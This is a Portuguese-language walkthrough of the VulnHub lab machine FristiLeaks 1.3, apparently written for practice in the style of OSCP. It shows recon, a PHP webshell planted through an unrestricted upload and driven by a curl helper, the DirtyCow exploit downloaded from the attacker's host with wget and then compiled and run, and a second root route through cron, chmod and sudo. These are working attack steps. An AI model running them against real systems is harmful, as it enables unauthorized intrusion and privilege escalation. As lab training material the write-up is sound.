A FristLeaks 1.3 é uma Virtual Machine mapeada no VulnHub, faz parte das máquinas do vulnhub quais são OSCP like. Durante a execução dos testes na box, foram identificadas duas formas de realizar a escalação de privilégios. Segue writeup!
Machine Name: FristiLeaks 1.3
Resource: https://www.vulnhub.com/entry/fristileaks-13,133/
Descrição: A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..
Reconhecimento
Foi identificado que o alvo se encontra no endereço IPv4 local 172.16.0.106.
Na etapa de reconhecimento, a partir do programa nmap, foi identificado que a box possui apenas um serviço exposto na porta 80/TCP.
Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-21 10:58 -02
Nmap scan report for 172.16.0.106
Host is up (0.0047s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.84 seconds
Se trata de uma aplicação web(HTTP) sendo servida pelo serviço httpd 2.2.15. Outras informações do output do nmap indicam que o alvo possui o sistema operacional CentOS e também indica a versão do PHP/5.3.3 e a aplicação DAV/2.
O nmap identificou através do script NSE http-robots.txt o arquivo robots.txt que possui três entradas, sendo elas /cola /sisi /beer. Durante a execução dos testes foi identificado o diretório http://172.16.0.106/fristi/ com base no nome da box.
Uma analise no código fonte na URL http://172.16.0.101/fristi/index.php, revelou um nome de usuário eezeepz.
A analise no código fonte também identificou um segundo comentário, onde o código de uma imagem em base64 está comentado.
Utilizando o Inspect Element foi possível alterar a imagem que é exibida pela imagem comentada, revelando a senha do usuário eezeepz.
As credenciais de acesso à console foram validadas na funcionalidade de login da aplicação.
Username: eezeepz
Password: keKkeKKeKKeKkEkkEk
Uma vez que o login é realizado, o usuário é redirecionado para a página http://172.16.0.101/fristi/login_success.php, onde existe uma feature de upload de arquivos http://172.16.0.101/fristi/upload.php.
Testes identificaram que é possível realizar upload arbitrário de arquivos nessa feature. A falha foi explorada e permitiu o upload de uma webshell em PHP na aplicação.
O arquivo malicioso que foi submetido para a aplicação permitiu a execução de código arbitrário por parte do invasor.
Um teste de ping disparado a partir da webshell para a máquina do invasor identificou que as configurações de rede não estão restringindo acessos partindo do sistema alvo para outros hosts da rede.
A partir da execução de código através da webshell submetida na aplicação, foi possível obter uma shell reversa, permitindo acesso a shell do sistema alvo com o usuário uid=48(apache) gid=48(apache) groups=48(apache).
Uma função no bash foi escrita para automatizar a execução de código remoto através da webshell submetida contra a plataforma.
$ cat load_me
function exec_code(){
URL=$(echo "http://172.16.0.106/fristi/uploads/avatar.php.png?cmd=$@" | sed 's/ /%20/g')
curl -s $URL
}
. load_me
Uma shell reversa escrita em python foi preparada e submetida para o alvo através da webshell.
A shell reversa em python foi executada através da webshell em php e obteve exito ao conectar no sistema do invasor, permitindo acesso ao sistema do alvo.
O acesso ao sistema alvo foi obtido com uma shell reversa com privilégios do usuário apache(id 48).
Escalação de privilégios.
Durante a etapa de escalação de privilégios a partir do usuário apache(id 48), um reconhecimento foi realizado contra o sistema alvo, onde foi possível identificar a versão do kernel, sendo ela 2.6.32-573.8.1.el6.x86_64
bash-4.1$ uname -a
uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
A ferramenta Linux Exploit Suggester(https://github.com/mzet-/linux-exploit-suggester) foi utilizada no sistema alvo para enumerar possíveis exploits que permitissem a exploração de uma falha que levasse a escalação de privilégios.
bash-4.1$ bash linux-exploit-suggester.sh
bash linux-exploit-suggester.sh
Available information:
Kernel version: 2.6.32
Architecture: x86_64
Distribution: RHEL
Distribution version: N/A
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
72 kernel space exploits
42 user space exploits
Possible Exploits:
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: probable
Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847.cpp
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
Saida omitida.
O exploit adotado para a escalação de privilégios foi https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679, o exploit utiliza a vulnerabilidade CVE-2016-5195 conhecida também como DirtCow(https://dirtycow.ninja). Essa falha se categoriza como ‘Race Condition’, se encontra na forma como o subsistema de memória do kernel linux lida com o copy-on-write(COW), onde a falha no processo ded mapeamento de memória permite assumir um processo.(https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails).
O exploit citado anteriormente foi armazenado localmente no sistema do atacante(172.16.0.24) e disponibilizado atraves de um serviço HTTP na porta 8000/TCP, permitindo o download no sistema alvo.
bash-4.1$ wget 172.16.0.24:8000/c0w.c
wget 172.16.0.24:8000/c0w.c
--2019-12-21 11:59:33-- http://172.16.0.24:8000/c0w.c
Connecting to 172.16.0.24:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4368 (4.3K) [text/plain]
Saving to: `c0w.c'
100%[======================================>] 4,368 --.-K/s in 0s
2019-12-21 11:59:33 (26.2 MB/s) - `c0w.c' saved [4368/4368]
Posteriormente o download do código fonte do exploit que está escrito em C, foi utilizado o compilador GCC para compilar o código fonte e então foi executado, permitindo ao atacante obter acesso root(id 0) no sistema alvo.
bash-4.1$ gcc -pthread c0w.c -o c0w
gcc -pthread c0w.c -o c0w
bash-4.1$ ./c0w
./c0w
(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 29cd9000
madvise 0
ptrace 0
bash-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.1$ /usr/bin/passwd
/usr/bin/passwd
[root@localhost uploads]# id
id
uid=0(root) gid=48(apache) groups=48(apache)
No diretório /root foi localizado o arquivo fristileaks_secrets.txt, finalizando o desafio.
[root@localhost root]# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
Escalação de privilégios, part 2
Um processo de exploração de privilégios alternativo foi identificado posteriormente a leitura de algumas write-ups. Esse novo processo de escalação de privilégios não necessita de um exploit.
No arquivo checklogin.php é possível identificar a credencial do banco de dados em texto claro.
$ exec_code cat ../checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];
// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
$mypassword = mysql_real_escape_string($mypassword);
$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query($sql);
// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row
if($count==1){
// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");
session_register("mypassword");
header("location:login_success.php");
}
else {
echo "Wrong Username or Password";
}
ob_end_flush();
?>
Foi possível então acessar o banco de dados e realizar consultas. A tabela members possui credenciais de usuários em texto claro.
bash-4.1$ echo "select * from members;" |/usr/bin/mysql -u eezeepz -p'4ll3maal12#' hackmenow
#' hackmenow * from members;" |/usr/bin/mysql -u eezeepz -p'4ll3maal12
id username password
1 eezeepz keKkeKKeKKeKkEkkEk
No arquivo notes.txt foi identificado uma rotina. A rotina executa periodicamente o conteúdo do arquivo localizado em /tmp de nome runthis e o resultado seria armazenado em /tmp/cronresult
Contudo, apenas os binários chmod, df, cat, echo, ps, grep, egrep localizados em /home/admin/ podem ser utilizados através dessa funcionalidade. Posteriormente a execução de alguns testes foi identificado que os comandos são executados com os privilégios do usuário admin(id 501), não root(id 0).
O comando chmod foi utilizado para alterar a permissão do diretório /home/admin e arquivos dentro do diretório:
echo '/home/admin/chmod 777 /home/admin -R' > /tmp/runthis
O resultado em /tmp/cronresult exibe que o comando foi executado com sucesso.
bash-4.1$ cat /tmp/cronresult
cat /tmp/cronresult
executing: /home/admin/chmod 777 /home/admin -R
Uma verificação confirmou que o diretório está com as novas permissões:
bash-4.1$ ls -ld /home/admin
ls -ld /home/admin
drwxrwxrwx. 2 admin admin 4096 Nov 19 2015 /home/admin
Sendo possível que o usuário apache entre no diretório /home/admin e tenha acesso aos arquivos e binários.
bash-4.1$ cd /home/admin
cd /home/admin
bash-4.1$ ls -l
ls -l
total 632
-rwxrwxrwx 1 admin admin 45224 Nov 18 2015 cat
-rwxrwxrwx 1 admin admin 48712 Nov 18 2015 chmod
-rwxrwxrwx 1 admin admin 737 Nov 18 2015 cronjob.py
-rwxrwxrwx 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rwxrwxrwx 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxrwxrwx 1 admin admin 90544 Nov 18 2015 df
-rwxrwxrwx 1 admin admin 24136 Nov 18 2015 echo
-rwxrwxrwx 1 admin admin 163600 Nov 18 2015 egrep
-rwxrwxrwx 1 admin admin 163600 Nov 18 2015 grep
-rwxrwxrwx 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt
O arquivo /home/admin/whoisyourgodnow.txt expõe uma string encodada em base64 e revertida.
bash-4.1$ cat /home/admin/whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
O Arquivo /home/admin/cryptedpass.txt exibe uma especie de string criptografada.
bash-4.1$ cat /home/admin/cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
O script em python /home/admin/cryptpass.py exibe o código utilizado para gerar a senha:
bash-4.1$ cat cryptpass.py
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
O programa em python /home/admin/cryptpass.py foi copiado para a máquina do atacante onde teve suas funções revertidas para que a senha fosse revertida para texto claro.
:~/Documents/CTF/vulnhub/FristiLeaks/data$ cat cryptpass.py
#!/usr/bin/python
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
def decodeString(str):
plain = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(plain)
#cryptoResult=encodeString(sys.argv[1])
#print cryptoResult
plainResult=decodeString(sys.argv[1])
print plainResult
O programa adulterado conseguiu reverter com sucesso a senha que foi localizada no arquivo /home/admin/whoisyourgodnow.txt. A senha do usuário fristigod foi identificada como “LetThereBeFristi!“.
Com as credenciais do usuário fristigod foi possível lateralizar através do comando su e obter acesso com o usuário fristigod(id 502)
Analisando o arquivo /var/fristigod/.bash_history do usuário fristigod, foi identificado que existe uma função em /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ cat /var/fristigod/.bash_history
cat /var/fristigod/.bash_history
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit
A investigação no programa /var/fristigod/.secret_admin_stuff/doCom identificou que o mesmo permite a execução de um comando com privilégios de root.
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
[sudo] password for fristigod: LetThereBeFristi!
Usage: ./program_name terminal_command ...
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
Então foi possivel iniciar uma nova shell com privilégios de root(id 0) a partir do programa /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
bash-4.1# id
id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
No diretório /root foi possível ler a flag fristileaks_secrets.txt, finalizando a box.